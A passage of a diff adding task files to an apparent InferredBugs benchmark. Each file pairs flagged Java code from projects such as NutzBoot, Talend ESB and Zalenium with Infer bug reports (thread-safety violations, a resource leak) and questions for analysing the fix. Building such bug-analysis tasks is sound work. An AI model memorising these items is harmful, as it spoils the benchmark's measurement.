+                if (!Strings.isBlank(tmp)) {
+                    for (String _tmp : Strings.splitIgnoreBlank(tmp, "[\n]")) {
+                        String className = _tmp.trim();
+                        if (!classNames.add(className))
+                            continue;
+                        Class<?> klass = ctx.getClassLoader().loadClass(className);
+                        if (!klass.getPackage().getName().startsWith(NbApp.class.getPackage().getName()) && klass.getAnnotation(IocBean.class) != null) {
+                            starterIocLoader.addClass(klass);
+                        }
+                        starterClasses.add(klass);
+                    }
+                }
+            }
+        }
+    }
+
+    public void prepareIoc() {
+        if (ctx.getIoc() == null) {
+            ctx.setIoc(new NutIoc(ctx.getComboIocLoader()));
+        }
+        // 把核心对象放进ioc容器
+        if (!ctx.ioc.has("appContext")) {
+        	ctx.ioc.addBean("appContext", ctx);
+        	ctx.ioc.addBean("conf", ctx.getConf());
+        	ctx.ioc.addBean("nbApp", this);
+            // 添加更多扩展bean
+        	ctx.ioc.addBean("counterService", new MemoryCounterService());
+        }
+        Mvcs.ctx().iocs.put("nutz", ctx.getIoc());
+    }
+
+    public void prepareStarterInstance() {
+        for (Class<?> klass : starterClasses) {
+            Object obj;
+            if (klass.getAnnotation(IocBean.class) == null) {
+                obj = Mirror.me(klass).born();
+            } else {
+                continue;
+            }
+            aware(obj);
+            if (obj instanceof IocLoaderProvider) {
+                IocLoader loader = ((IocLoaderProvider) obj).getIocLoader();
+                ctx.getComboIocLoader().addLoader(loader);
+            }
+            ctx.addStarter(obj);
+        }
+        for (Class<?> klass : starterClasses) {
+            Object obj;
+            if (klass.getAnnotation(IocBean.class) == null) {
+                continue;
+            } else {
+                obj = ctx.getIoc().get(klass);
+            }
+            aware(obj);
+            if (obj instanceof IocLoaderProvider) {
+                IocLoader loader = ((IocLoaderProvider) obj).getIocLoader();
+                ctx.getComboIocLoader().addLoader(loader);
+            }
+            ctx.addStarter(obj);
+        }
+    }
+
+    protected void aware(Object obj) {
+        // 需要注入AppContext
+        if (obj instanceof AppContextAware) {
+            ((AppContextAware) obj).setAppContext(ctx);
+        }
+        // 需要注入ClassLoader
+        if (obj instanceof ClassLoaderAware) {
+            ((ClassLoaderAware) obj).setClassLoader(ctx.getClassLoader());
+        }
+        // 需要注入EnvHolder
+        if (obj instanceof EnvHolderAware) {
+            ((EnvHolderAware) obj).setEnvHolder(ctx.getEnvHolder());
+        }
+        // 需要注入ResourceLoader
+        if (obj instanceof ResourceLoaderAware) {
+            ((ResourceLoaderAware) obj).setResourceLoader(ctx.getResourceLoader());
+        }
+        // 需要注入Ioc
+        if (obj instanceof IocAware) {
+            ((IocAware) obj).setIoc(ctx.getIoc());
+        }
+    }
+
+    public void setListener(NbAppEventListener listener) {
+        this.listeners.clear();
+        addListener(listener);
+    }
+    
+    public void addListener(NbAppEventListener listener) {
+    	this.listeners.add(listener);
+    }
+    
+    public boolean isStarted() {
+        return started;
+    }
+    
+    public void setMainPackage(String mainPackage) {
+        getAppContext().setMainPackage(mainPackage);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `org.nutz.boot.NbApp.prepare` indirectly writes to field `this.org.nutz.boot.NbApp.ctx.org.nutz.boot.AppContext.ioc` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void NbApp.prepare()
+
+### Procedure Id:
+org.nutz.boot.NbApp.prepare():void.3497bd920679b1a589201156049c849c
+
+### File:
+nutzboot-core/src/main/java/org/nutz/boot/NbApp.java
+
+### Key:
+NbApp.java|prepare|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+10c3497f8bed4598cf88f6d86ede25d6
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9446/instruction.md b/inferredbugs-9446/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..41c77e7fa6b48cda4eb1308ded5ac089be69f2db
--- /dev/null
+++ b/inferredbugs-9446/instruction.md
@@ -0,0 +1,576 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** tesb-rt-se
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.talend.esb.locator;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import javax.xml.namespace.QName;
+
+import org.apache.zookeeper.CreateMode;
+import org.apache.zookeeper.KeeperException;
+import org.apache.zookeeper.KeeperException.Code;
+import org.apache.zookeeper.WatchedEvent;
+import org.apache.zookeeper.Watcher;
+import org.apache.zookeeper.ZooKeeper;
+import org.apache.zookeeper.Watcher.Event.KeeperState;
+import org.apache.zookeeper.ZooDefs.Ids;
+
+/**
+ * This is the entry point for clients of the Service Locator. To access the
+ * Service Locator clients have to first {@link #connect() connect} to the
+ * Service Locator to get a session assigned. Once the connection is established
+ * the client will periodically send heart beats to the server to keep the
+ * session alive.
+ * <p>
+ * The Service Locator provides the following operations.
+ * <ul>
+ * <li>An endpoint for a specific service can be registered.
+ * <li>All endpoints for a specific service that were registered before by other
+ * clients can be looked up.
+ * </ul>
+ * 
+ */
+public class ServiceLocator {
+
+	private static final Logger LOG = Logger.getLogger(ServiceLocator.class
+			.getName());
+
+	public static final NodePath LOCATOR_ROOT_PATH = new NodePath("cxf-locator");
+
+	public static final byte[] EMPTY_CONTENT = new byte[0];
+
+	// Count of register() and lookup() methods which performed in parallel in
+	// this moment
+	private int businessOperations = 0;
+
+	// Is blocked by connect() or disconnect() method
+	private boolean blockedByRunUpOperation = false;
+
+	public static final PostConnectAction DO_NOTHING_ACTION = new PostConnectAction() {
+
+		@Override
+		public void process(ServiceLocator lc) {
+		}
+	};
+
+	/**
+	 * Callback interface to define actions that must be executed after a
+	 * successful connect or reconnect.
+	 */
+	static interface PostConnectAction {
+		/**
+		 * Execute this after the connection to the Service Locator is
+		 * established or re-established.
+		 * 
+		 * @param lc
+		 *            the Service Locator client that just successfully
+		 *            connected to the server, must not be <code>null</code>
+		 */
+		void process(ServiceLocator lc);
+	}
+
+	private String locatorEndpoints = "localhost:2181";
+
+	private int sessionTimeout = 5000;
+
+	private int connectionTimeout = 5000;
+
+	private int waitingTimeout = 3000;
+
+	private PostConnectAction pca = DO_NOTHING_ACTION;
+
+	private volatile ZooKeeper zk;
+
+	/**
+	 * Establish a connection to the Service Locator. After successful
+	 * connection the specified {@link PostConnectAction} is run. If the session
+	 * to the server expires because the server could not be reached within the
+	 * {@link #setSessionTimeout(int) specified time}, a reconnect is
+	 * automatically executed as soon as the server can be reached again.
+	 * Because after a session time out all registered endpoints are removed it
+	 * is important to specify a {@link PostConnectAction} that re-registers all
+	 * endpoints.
+	 * 
+	 * @throws IOException
+	 *             At least one of the endpoints does not represent a valid
+	 *             address
+	 * @throws InterruptedException
+	 *             the current <code>Thread</code> was interrupted when waiting
+	 *             for a successful connection to the ServiceLocator
+	 * @throws ServiceLocatorException
+	 *             the connect operation failed
+	 */
+	public void connect() throws IOException, InterruptedException,
+			ServiceLocatorException {
+		connect(false);
+	}
+
+	synchronized public void connect(boolean immediately) throws IOException,
+			InterruptedException, ServiceLocatorException {
+		if (LOG.isLoggable(Level.FINE)) {
+			LOG.log(Level.FINE, "Start connect session");
+		}
+		blockedByRunUpOperation = true;
+		disconnect(false, immediately);
+
+		CountDownLatch connectionLatch = new CountDownLatch(1);
+		zk = createZooKeeper(connectionLatch);
+		boolean connected = connectionLatch.await(connectionTimeout,
+				TimeUnit.MILLISECONDS);
+
+		if (!connected) {
+			throw new ServiceLocatorException(
+					"Connection to Service Locator failed.");
+		} else {
+			pca.process(this);
+		}
+		blockedByRunUpOperation = false;
+
+		if (LOG.isLoggable(Level.FINER)) {
+			LOG.log(Level.FINER, "End connect session");
+		}
+
+	}
+
+	/**
+	 * Disconnects from a Service Locator server. All endpoints that were
+	 * registered before are removed from the server. To be able to communicate
+	 * with a Service Locator server again the client has to {@link #connect()
+	 * connect} again.
+	 * 
+	 * @throws InterruptedException
+	 *             the current <code>Thread</code> was interrupted when waiting
+	 *             for the disconnect to happen
+	 * @throws ServiceLocatorException
+	 */
+	public void disconnect() throws InterruptedException,
+			ServiceLocatorException {
+		disconnect(true, false);
+	}
+
+	synchronized public void disconnect(boolean notify, boolean immediately)
+			throws InterruptedException, ServiceLocatorException {
+		if (LOG.isLoggable(Level.FINE)) {
+			LOG.log(Level.FINE, "Start disconnect session");
+		}
+		blockedByRunUpOperation = true;
+		if (!immediately) {
+			try {
+				int waiting = 0;
+				if (LOG.isLoggable(Level.FINE)) {
+					LOG.fine("Waiting "
+							+ waitingTimeout
+							+ " ms for some business operations to complete its work");
+				}
+				while (businessOperations != 0 && waiting < waitingTimeout) {
+						Thread.sleep(1);
+						waiting++;
+				}
+				if (LOG.isLoggable(Level.FINE)) {
+					LOG.fine("In fact waiting was " + waiting + " ms ;)");
+				}
+				businessOperations = 0;
+			} catch (InterruptedException e) {
+				if (LOG.isLoggable(Level.SEVERE)) {
+					LOG.log(Level.SEVERE,
+							"Thread sleeping, and the thread is interrupted, either before or during the activity: "
+									+ e.getMessage());
+				}
+				throw new ServiceLocatorException("Thread is interrupted.", e);
+			}
+		} else {
+			businessOperations = 0;
+		}
+
+		if (zk != null) {
+			zk.close();
+			zk = null;
+		}
+		if (notify) {
+			blockedByRunUpOperation = false;
+		}
+		if (LOG.isLoggable(Level.FINER)) {
+			LOG.log(Level.FINER, "End disconnect session");
+		}
+
+	}
+
+	/**
+	 * For a given service register the endpoint of a concrete provider of this
+	 * service. If the client is destroyed, disconnected, or fails to
+	 * successfully send the heartbeat for a period of time defined by the
+	 * {@link #setSessionTimeout(int) session timeout parameter} the endpoint is
+	 * removed from the Service Locator. To ensure that all available endpoints
+	 * are re-registered when the client reconnects after a session expired a
+	 * {@link PostConnectAction} should be
+	 * {@link #setPostConnectAction(PostConnectAction) set} that registers all
+	 * endpoints.
+	 * 
+	 * @param serviceName
+	 *            the name of the service the endpoint is registered for, must
+	 *            not be <code>null</code>
+	 * @param endpoint
+	 *            the endpoint to register, must not be <code>null</code>
+	 * @throws ServiceLocatorException
+	 *             the server returned an error
+	 * @throws InterruptedException
+	 *             the current <code>Thread</code> was interrupted when waiting
+	 *             for a response of the ServiceLocator
+	 */
+	public void register(QName serviceName, String endpoint)
+			throws ServiceLocatorException, InterruptedException {
+		if (blockedByRunUpOperation) {
+			if (LOG.isLoggable(Level.INFO)) {
+				LOG.info("It seems that Service Locator performs connection operation. We are waiting for completion.");
+			}
+			synchronized (this) {
+				if (LOG.isLoggable(Level.FINEST)) {
+					LOG.log(Level.FINEST, "Entering into synchronization block");
+				}
+			}
+			if (LOG.isLoggable(Level.FINEST)) {
+				LOG.log(Level.FINEST, "Leaving the synchronization block");
+			}
+		}
+		businessOperations++;
+		if (LOG.isLoggable(Level.INFO)) {
+			LOG.log(Level.INFO, "Register endpoint " + endpoint
+					+ " for service " + serviceName + ".");
+		}
+		NodePath serviceNodePath = LOCATOR_ROOT_PATH.child(serviceName
+				.toString());
+		ensurePathExists(serviceNodePath, CreateMode.PERSISTENT);
+
+		NodePath endpointNodePath = serviceNodePath.child(endpoint);
+		ensurePathExists(endpointNodePath, CreateMode.EPHEMERAL);
+		if (businessOperations > 0)
+			businessOperations--;
+	}
+
+	public void unregister(QName serviceName, String endpoint)
+			throws ServiceLocatorException, InterruptedException {
+		if (blockedByRunUpOperation) {
+			if (LOG.isLoggable(Level.INFO)) {
+				LOG.log(Level.INFO,
+						"It seems that Service Locator performs connection operation. We are waiting for completion.");
+			}
+			synchronized (this) {
+				if (LOG.isLoggable(Level.FINEST)) {
+					LOG.log(Level.FINEST, "Entering into synchronization block");
+				}
+			}
+			if (LOG.isLoggable(Level.FINEST)) {
+				LOG.log(Level.FINEST, "Leaving the synchronization block");
+			}
+		}
+		businessOperations++;
+		if (LOG.isLoggable(Level.INFO)) {
+			LOG.info("Unregister endpoint " + endpoint + " for service "
+					+ serviceName + ".");
+		}
+
+		NodePath serviceNodePath = LOCATOR_ROOT_PATH.child(serviceName
+				.toString());
+		NodePath endpointNodePath = serviceNodePath.child(endpoint);
+
+		try {
+			deleteNode(endpointNodePath);
+			deleteNode(serviceNodePath);
+		} catch (KeeperException e) {
+			if (LOG.isLoggable(Level.SEVERE)) {
+				LOG.log(Level.SEVERE,
+						"The service locator server signaled an error: "
+								+ e.getMessage());
+			}
+			throw new ServiceLocatorException(
+					"The service locator server signaled an error.", e);
+
+		}
+
+		if (businessOperations > 0)
+			businessOperations--;
+	}
+
+	/**
+	 * For the given service return all endpoints that currently registered at
+	 * the Service Locator Service.
+	 * 
+	 * @param serviceName
+	 *            the name of the service for which to get the endpoints, must
+	 *            not be <code>null</code>
+	 * @return a possibly empty list of endpoints
+	 * @throws ServiceLocatorException
+	 *             the server returned an error
+	 * @throws InterruptedException
+	 *             the current <code>Thread</code> was interrupted when waiting
+	 *             for a response of the ServiceLocator
+	 */
+	public List<String> lookup(QName serviceName)
+			throws ServiceLocatorException, InterruptedException {
+		if (blockedByRunUpOperation) {
+			if (LOG.isLoggable(Level.INFO)) {
+				LOG.log(Level.INFO,
+						"It seems that Service Locator performs connection operation. We are waiting for completion.");
+			}
+			synchronized (this) {
+				if (LOG.isLoggable(Level.FINEST)) {
+					LOG.log(Level.FINEST, "Entering into synchronization block");
+				}
+			}
+			if (LOG.isLoggable(Level.FINEST)) {
+				LOG.log(Level.FINEST, "Leaving the synchronization block");
+			}
+		}
+		businessOperations++;
+		if (LOG.isLoggable(Level.INFO)) {
+			LOG.info("Lookup endpoints of " + serviceName + " service.");
+		}
+		try {
+			NodePath providerPath = LOCATOR_ROOT_PATH.child(serviceName
+					.toString());
+			List<String> children;
+			if (nodeExists(providerPath)) {
+				children = decode(getChildren(providerPath));
+			} else {
+				if (LOG.isLoggable(Level.FINE)) {
+					LOG.fine("Lookup for provider" + serviceName
+							+ " failed, provider not known.");
+				}
+				children = Collections.emptyList();
+			}
+			if (businessOperations > 0)
+				businessOperations--;
+
+			return children;
+
+		} catch (KeeperException e) {
+			if (LOG.isLoggable(Level.SEVERE)) {
+				LOG.log(Level.SEVERE,
+						"The service locator server signaled an error: "
+								+ e.getMessage());
+			}
+			throw new ServiceLocatorException(
+					"The service locator server signaled an error.", e);
+		}
+
+	}
+
+	public void setLocatorEndpoints(String endpoints) {
+		locatorEndpoints = endpoints;
+		if (LOG.isLoggable(Level.FINE)) {
+			LOG.fine("Locator endpoints set to " + locatorEndpoints);
+		}
+	}
+
+	public void setSessionTimeout(int timeout) {
+		sessionTimeout = timeout;
+		if (LOG.isLoggable(Level.FINE)) {
+			LOG.fine("Locator session timeout set to: " + sessionTimeout);
+		}
+	}
+
+	public void setConnectionTimeout(int timeout) {
+		connectionTimeout = timeout;
+		if (LOG.isLoggable(Level.FINE)) {
+			LOG.fine("Locator connection timeout set to: " + connectionTimeout);
+		}
+	}
+
+	public void setPostConnectAction(PostConnectAction pca) {
+		this.pca = pca;
+	}
+
+	public void setWaitingTimeout(int waitingTimeout) {
+		this.waitingTimeout = waitingTimeout;
+		if (LOG.isLoggable(Level.FINE)) {
+			LOG.fine("Locator wating timeout set to: " + waitingTimeout);
+		}
+
+	}
+
+	private void ensurePathExists(NodePath path, CreateMode mode)
+			throws ServiceLocatorException, InterruptedException {
+		try {
+			if (!nodeExists(path)) {
+				createNode(path, mode);
+				if (LOG.isLoggable(Level.FINE)) {
+					LOG.fine("Node " + path + " created.");
+				}
+			} else {
+				if (LOG.isLoggable(Level.FINE)) {
+					LOG.fine("Node " + path + " already exists.");
+				}
+			}
+		} catch (KeeperException e) {
+			if (!e.code().equals(Code.NODEEXISTS)) {
+				throw new ServiceLocatorException(
+						"The service locator server signaled an error.", e);
+			} else {
+				if (LOG.isLoggable(Level.FINE)) {
+					LOG.fine("Some other client created node" + path
+							+ " concurrently.");
+				}
+			}
+		}
+	}
+
+	private boolean nodeExists(NodePath path) throws KeeperException,
+			InterruptedException {
+		return zk.exists(path.toString(), false) != null;
+	}
+
+	private void createNode(NodePath path, CreateMode mode)
+			throws KeeperException, InterruptedException {
+		zk.create(path.toString(), EMPTY_CONTENT, Ids.OPEN_ACL_UNSAFE, mode);
+	}
+
+	private void deleteNode(NodePath path) throws KeeperException,
+			InterruptedException {
+		if (getChildren(path).isEmpty())
+			zk.delete(path.toString(), -1);
+	}
+
+	private List<String> getChildren(NodePath path) throws KeeperException,
+			InterruptedException {
+		return zk.getChildren(path.toString(), false);
+	}
+
+	private List<String> decode(List<String> encoded) {
+		List<String> raw = new ArrayList<String>();
+
+		for (String oneEncoded : encoded) {
+			raw.add(NodePath.decode(oneEncoded));
+		}
+		return raw;
+	}
+
+	protected ZooKeeper createZooKeeper(CountDownLatch connectionLatch)
+			throws IOException {
+		return new ZooKeeper(locatorEndpoints, sessionTimeout, new WatcherImpl(
+				connectionLatch));
+	}
+
+	public class WatcherImpl implements Watcher {
+
+		private CountDownLatch connectionLatch;
+
+		public WatcherImpl(CountDownLatch connectionLatch) {
+			this.connectionLatch = connectionLatch;
+		}
+
+		@Override
+		public void process(WatchedEvent event) {
+			if (LOG.isLoggable(Level.FINE)) {
+				LOG.fine("Event with state " + event.getState() + " sent.");
+			}
+
+			KeeperState eventState = event.getState();
+			try {
+				if (eventState == KeeperState.SyncConnected) {
+					ensurePathExists(LOCATOR_ROOT_PATH, CreateMode.PERSISTENT);
+					connectionLatch.countDown();
+				} else if (eventState == KeeperState.Expired) {
+					connect();
+				}
+			} catch (IOException e) {
+				if (LOG.isLoggable(Level.SEVERE)) {
+					LOG.log(Level.SEVERE,
+							"An IOException  was thrown when trying to connect to the ServiceLocator",
+							e);
+				}
+			} catch (InterruptedException e) {
+				if (LOG.isLoggable(Level.SEVERE)) {
+					LOG.log(Level.SEVERE,
+							"An InterruptedException was thrown while waiting for an answer from the Service Locator",
+							e);
+				}
+			} catch (ServiceLocatorException e) {
+				if (LOG.isLoggable(Level.SEVERE)) {
+					LOG.log(Level.SEVERE,
+							"Failed to execute an request to Service Locator.",
+							e);
+				}
+			}
+		}
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.talend.esb.locator.ServiceLocator.connect` indirectly reads with synchronization from `this.org.talend.esb.locator.ServiceLocator.businessOperations`. Potentially races with unsynchronized write in method `ServiceLocator.unregister(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ServiceLocator.connect()
+
+### Procedure Id:
+org.talend.esb.locator.ServiceLocator.connect():void.0568b7dccb583a903ed4a3bdeb577702
+
+### File:
+locator/src/main/java/org/talend/esb/locator/ServiceLocator.java
+
+### Key:
+ServiceLocator.java|connect|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+1a0797ed22dd4d85cd1d953838633e37
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9448/instruction.md b/inferredbugs-9448/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e99dcb8415b235764775c076ad58c68c8ea190c6
--- /dev/null
+++ b/inferredbugs-9448/instruction.md
@@ -0,0 +1,180 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** async-google-pubsub-client
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2011-2015 Spotify AB
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.spotify.google.cloud.pubsub.client.integration;
+
+import com.google.api.client.googleapis.auth.oauth2.GoogleCredential;
+import com.google.api.services.pubsub.PubsubScopes;
+
+import com.spotify.google.cloud.pubsub.client.Message;
+import com.spotify.google.cloud.pubsub.client.Pubsub;
+import com.spotify.google.cloud.pubsub.client.Puller;
+import com.spotify.logging.LoggingConfigurator;
+
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.CompletionStage;
+import java.util.concurrent.ExecutionException;
+import java.util.zip.Deflater;
+
+import static com.spotify.logging.LoggingConfigurator.Level.WARN;
+
+public class PullerBenchmark {
+
+  private static final int PULLER_CONCURRENCY = 128;
+
+  public static void main(final String... args) throws IOException, ExecutionException, InterruptedException {
+
+    final String project = Util.defaultProject();
+
+    GoogleCredential credential;
+
+    // Use credentials from file if available
+    try {
+      credential = GoogleCredential
+          .fromStream(new FileInputStream("credentials.json"))
+          .createScoped(PubsubScopes.all());
+    } catch (IOException e) {
+      credential = GoogleCredential.getApplicationDefault()
+          .createScoped(PubsubScopes.all());
+    }
+
+    final Pubsub pubsub = Pubsub.builder()
+        .credential(credential)
+        .compressionLevel(Deflater.BEST_SPEED)
+        .enabledCipherSuites(Util.nonGcmCiphers())
+        .build();
+
+    LoggingConfigurator.configureDefaults("benchmark", WARN);
+
+    final String subscription = System.getenv("GOOGLE_PUBSUB_SUBSCRIPTION");
+    if (subscription == null) {
+      System.err.println("Please specify a subscription using the GOOGLE_PUBSUB_SUBSCRIPTION environment variable.");
+      System.exit(1);
+    }
+
+    System.out.println("Consuming from GOOGLE_PUBSUB_SUBSCRIPTION='" + subscription + "'");
+
+    final ProgressMeter meter = new ProgressMeter();
+    final ProgressMeter.Metric receives = meter.group("operations").metric("receives", "messages");
+
+    final Puller puller = Puller.builder()
+        .pubsub(pubsub)
+        .batchSize(1000)
+        .concurrency(PULLER_CONCURRENCY)
+        .project(project)
+        .subscription(subscription)
+        .messageHandler(new Handler(receives))
+        .build();
+
+    while (true) {
+      Thread.sleep(1000);
+    }
+  }
+
+
+  private static class Handler implements Puller.MessageHandler {
+
+    private final ProgressMeter.Metric receives;
+
+    public Handler(final ProgressMeter.Metric receives) {
+
+      this.receives = receives;
+    }
+
+    @Override
+    public CompletionStage<String> handleMessage(final Puller puller, final String subscription,
+                                                 final Message message, final String ackId) {
+      receives.inc(0);
+      return CompletableFuture.completedFuture(ackId);
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.spotify.google.cloud.pubsub.client.Puller` acquired to `puller` by call to `build()` at line 82 is not released after line 82.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void PullerBenchmark.main(java.lang.String[])
+
+### Procedure Id:
+com.spotify.google.cloud.pubsub.client.integration.PullerBenchmark.main(java.lang.String[]):void.fb5e140660e540f9cac1c0e45a8367f2
+
+### File:
+src/test/java/com/spotify/google/cloud/pubsub/client/integration/PullerBenchmark.java
+
+### Key:
+PullerBenchmark.java|main|RESOURCE_LEAK
+
+### Node Key:
+dc2539c4f7b57372dedb2b3889714f63
+
+### Hash:
+555a40c5129b38e5af39a66365cd825b
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9470/instruction.md b/inferredbugs-9470/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a074696c6201787dfa3ace28f9b4d6d24988e750
--- /dev/null
+++ b/inferredbugs-9470/instruction.md
@@ -0,0 +1,624 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** zalenium
+**Bug ID:** 13
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package de.zalando.ep.zalenium.container.swarm;
+
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Strings;
+import com.spotify.docker.client.AnsiProgressHandler;
+import com.spotify.docker.client.DefaultDockerClient;
+import com.spotify.docker.client.DockerClient;
+import com.spotify.docker.client.exceptions.DockerException;
+import com.spotify.docker.client.messages.*;
+import com.spotify.docker.client.messages.mount.Mount;
+import com.spotify.docker.client.messages.swarm.*;
+import de.zalando.ep.zalenium.container.ContainerClient;
+import de.zalando.ep.zalenium.container.ContainerClientRegistration;
+import de.zalando.ep.zalenium.container.ContainerCreationStatus;
+import de.zalando.ep.zalenium.proxy.DockeredSeleniumStarter;
+import de.zalando.ep.zalenium.util.Environment;
+import de.zalando.ep.zalenium.util.GoogleAnalyticsApi;
+import de.zalando.ep.zalenium.util.ZaleniumConfiguration;
+import org.apache.commons.collections4.CollectionUtils;
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.RandomStringUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.URL;
+import java.nio.charset.StandardCharsets;
+import java.util.*;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.stream.Collectors;
+
+import static com.spotify.docker.client.DockerClient.ListContainersParam.withStatusCreated;
+import static com.spotify.docker.client.DockerClient.ListContainersParam.withStatusRunning;
+
+@SuppressWarnings("ConstantConditions")
+public class SwarmContainerClient implements ContainerClient {
+
+    private static final String ZALENIUM_SELENIUM_CONTAINER_CPU_LIMIT = "ZALENIUM_SELENIUM_CONTAINER_CPU_LIMIT";
+    private static final String ZALENIUM_SELENIUM_CONTAINER_MEMORY_LIMIT = "ZALENIUM_SELENIUM_CONTAINER_MEMORY_LIMIT";
+
+    private static final String SWARM_EXEC_IMAGE = "datagridsys/skopos-plugin-swarm-exec:latest";
+
+    private static final Environment defaultEnvironment = new Environment();
+
+    private static Environment env = defaultEnvironment;
+    private static String seleniumContainerCpuLimit;
+    private static String seleniumContainerMemoryLimit;
+    private static String dockerHost;
+    private static AtomicBoolean environmentInitialised = new AtomicBoolean(false);
+
+    static {
+        readConfigurationFromEnvVariables();
+    }
+
+    private final Logger logger = LoggerFactory.getLogger(SwarmContainerClient.class.getName());
+    private final GoogleAnalyticsApi ga = new GoogleAnalyticsApi();
+    private DockerClient dockerClient = new DefaultDockerClient(dockerHost);
+    private String nodeId;
+    private Map<String, String> seleniumContainerLabels = new HashMap<>();
+    private AtomicBoolean seleniumContainerLabelsChecked = new AtomicBoolean(false);
+
+    private static void readConfigurationFromEnvVariables() {
+
+        String cpuLimit = env.getEnvVariable(ZALENIUM_SELENIUM_CONTAINER_CPU_LIMIT);
+        setSeleniumContainerCpuLimit(cpuLimit);
+
+        String memoryLimit = env.getEnvVariable(ZALENIUM_SELENIUM_CONTAINER_MEMORY_LIMIT);
+        setSeleniumContainerMemoryLimit(memoryLimit);
+
+        String dockerHost = env.getStringEnvVariable("DOCKER_HOST", "unix:///var/run/docker.sock");
+        setDockerHost(dockerHost);
+    }
+
+    @VisibleForTesting
+    protected static void setEnv(final Environment env) {
+        SwarmContainerClient.env = env;
+    }
+
+    private static void setDockerHost(String dockerHost) {
+        // https://github.com/spotify/docker-client/issues/946
+        SwarmContainerClient.dockerHost = dockerHost.replace("tcp", "http");
+    }
+
+    private static String getSeleniumContainerCpuLimit() {
+        return seleniumContainerCpuLimit;
+    }
+
+    private static void setSeleniumContainerCpuLimit(String seleniumContainerCpuLimit) {
+        SwarmContainerClient.seleniumContainerCpuLimit = seleniumContainerCpuLimit;
+    }
+
+    private static String getSeleniumContainerMemoryLimit() {
+        return seleniumContainerMemoryLimit;
+    }
+
